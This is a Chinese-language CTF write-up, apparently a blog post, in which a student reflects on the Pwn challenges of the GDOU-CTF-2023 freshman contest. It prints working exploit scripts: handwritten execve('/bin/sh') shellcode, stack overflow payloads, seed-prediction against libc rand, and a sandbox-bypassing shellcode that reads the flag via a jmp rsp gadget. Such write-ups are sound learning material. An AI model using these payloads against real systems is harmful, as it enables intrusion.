GDOU-CTF-2023新生赛Pwn题解与反思

第一次参加CTF新生赛总结与反思
因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。
16点30分结束,就跑回来宿舍开始写。
第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。
大概17点10的时候,写第三题,可能自己第一次遇到随机数问题,我当时的想法是网上有没有随机数种子的工具,查了一下,还真有这个库。说明了pwntools库是个宝藏,自己平时应该抽空研究一下那个库,利用好他,成为一把好工具。
后面第三题,刚结束的时候,写出来了。其实思路没有错,就是自己的脚本写的时候,想让代码看起来可读性更高(可能以前写开发项目写习惯了,强迫症),然后多取了一次随机数,导致和远程那边不同步。后面不知道怎么的,把那个变量删了,就好了,当时傻逼了。
第四题知道是orw题目,目标是读flag,但是不会写shellcode。只能说,有思路,写不出,所以后面也应该提升自己的shellcode能力。不能只会写那种比较固定的shellcode。
虽然不知道其他人情况如何,但是自己第一次参加,接触pwn还没有一个月,学习反馈还是挺满意。
一路也遇到了很多师傅,结交很多朋友!继续努力!
比赛题目总结(核心,一定要学会shellcode!)
PS:以下题目的保护权限都开得很少!!!
所以就不贴图checksec图片了!!!
要获得flag,本次比赛关键在于:会自己写简短的shellcode,会使用随机数库。
Shellcode(编写短shell)
题目思路很简单,就是shellcode,不过长度有限制。
我是自己手改pwntools。
使用pwntools生成的,本质就是执行/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
那么开始手搓,搞定!
注意,32位是int0x80,64位是syscall
shellcode='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''

from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./pwn2')
io = remote('node6.anna.nssctf.cn',28961)
io.recvuntil(b'Please.')
shellcode='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
io.sendline(asm(shellcode))
io.recvuntil(b"start!")
payload = b'a' * (0xa + 8 ) + p64(0x6010A0)
io.sendline(payload)
io.interactive()
EASY PWN(直接暴力)
不用想那么多,直接随便输入垃圾数据即可
因为只要V5大于0就ok了,甚至偏移都不用想,直接乱输入
from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./easypwn')
io = remote('node6.anna.nssctf.cn',28962)
payload = b'\x00'
payload = payload.ljust(0x30,b'a')
io.sendline(payload)
#io.sendlineafter(b'Password:',payload)
io.interactive()
真男人下120层(随机数库)
第一次认识,随机数这个库,然后没有什么难的
暴力循环120次即可
感觉一点都不pwn
注意脚本编写时候,别自作多情多取一次
from pwn import *
from ctypes import *
#context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./bin')
io=remote('node6.anna.nssctf.cn',28130)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
srand = libc.srand(srand % 3 - 1522127470)
io.recvuntil('Floor')
for i in range(121):
io.sendline(str(libc.rand( ) % 4 + 1).encode( ))
io.interactive()
Random(绕沙箱加短脚本)
程序禁了 execv,没开 NX,有 ‘jmp rsp’ 这么一个 gadget,所以往栈上写的 shellcode 是可执行且能利用到的。
很明显,是要读flag
先用pwn生成一个cat
用ljust左对齐抬高到0x28
返回地址为jmp rsp
填充 asm('sub rsp,0x30;call rsp')
那么返回的时候,执行jmp rsp,即asm('sub rsp,0x30;call rsp'),然后cat flag
太妙了!!!第一次见到这样的!
jmp=0x40094E
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')


from pwn import *
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node5.anna.nssctf.cn',28933)
#io=process('./RANDOM')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
for i in range(100):
io.sendlineafter('please input a guess num:',str(libc.rand( )%50).encode( ))
io.recvline()
jmp=0x40094E
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')
io.send(payload)
io.interactive()
GDOU-CTF-2023新生赛Pwn题解与反思的更多相关文章
- 2018.11.26 QLU新生赛部分题解
问题 L: 寄蒜几盒? 题目描述 现在有一个圆圈,圆圈上有若干个点,请判断能否在若干个点中选择三个点两两相连组成一个等边三角形? 这若干个点在圆圈上按顺时针顺序分布. 如果可以的话输出"Ye ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- SCNU ACM 2016新生赛初赛 解题报告
新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...
- SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告
题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音? ...
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- CTF线下赛AWD模式下的生存技巧
作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...
- Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串
A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...
- 电信学院第一届新生程序设计竞赛题解及std
首先非常感谢各位同学的参加,还有出题验题同学的辛勤付出 昨天想偷懒就是不想再把我C++11的style改没了,大家看不懂的可以百度一下哦,懒得再写gcc了,毕竟代码是通的 //代表的是行注释,所以那个 ...
- 【题解】Comet OJ 国庆欢乐赛 简要题解
[题解]Comet OJ 国庆欢乐赛 简要题解 A 直接做 B 直接做,结论: \[ ans=\max([Max\ge \mathrm{sum}] Max,s[n]/2) \] C 考虑这样一个做法: ...
- [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist
[ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...
随机推荐
- egret tween 屏幕震动动画 ts
let orig = { x: this.x, y: this.y }; var dir = 1; var tox = 0; var toy = 0; var count = 40; // if (n ...
- 用JS实现一个简单的购物车小案例
该案例主要是实现的功能有:添加商品功能,将商品添加到购物车的功能还有将商品删除功能,还有就是移出购物车的功能 该案例实现的难点是将商品添加到购物车列表的时候 数量的增加,当购物车有该商品的时候就进行累 ...
- 运行python脚本报错:selenium.common.exceptions.SessionNotCreatedException: Message: session not created
运行python脚本报错:selenium.common.exceptions.SessionNotCreatedException: Message: session not created 原因: ...
- Java基础学习——Scanner
import java.util.Scanner; public class HelloWord{ public static void main(String[] args){ Scanner s= ...
- windows下 mstsc 远程Ubuntu 图形界面2
采用 xrdp-0.9.2 + xorgxrdp-0.2.0 + xfce ,可完美实现远程,且: 1.支持中断后重新连接上一次连接. 2.支持clipbord跨平台复制. 3.xfce桌面,双机打开 ...
- Gin使用及源码简析
1. Gin简介 前面通过两篇文章分享了Golang HTTP编程的路由分发.请求/响应处理. Golang HTTP编程及源码解析-路由分发 Golang HTTP编程及源码解析-请求/响应处理 可 ...
- 三分钟搭建一个自己的 ChatGPT (从开发到上线)
原文链接:https://icloudnative.io/posts/build-chatgpt-web-using-laf/ OpenAI 已经公布了 ChatGPT 正式版 API,背后的新模型是 ...
- [Python]语音识别媒体中的音频到文本
@ 目录 准备工作 视频转音频 识别音频到文本 音频直接转换文本 准备工作 安装python3环境 申请一个可用的语音转换API,此篇以Microsoft Azure Speech为例 在Micros ...
- University of Toronto Faculty of Arts and Science MAT344– Final Assessment Combinatorics Instructors: Stanislav Balchev and Max Klambauer 19 August 2020
目录 随便找的一份测试题 T7 T9 T6 T5 solution to (a) solution to (b) solution to (c) solution to (d) T1 T2 T3 T4 ...
- ros系统(1)
在虚拟机上安装好ros系统之后,打开终端,启动ROS Master,输入roscore命令,结果如下: 再启动小海龟仿真器,输入命令:rosrun turtlesim turtlesim_node,结 ...

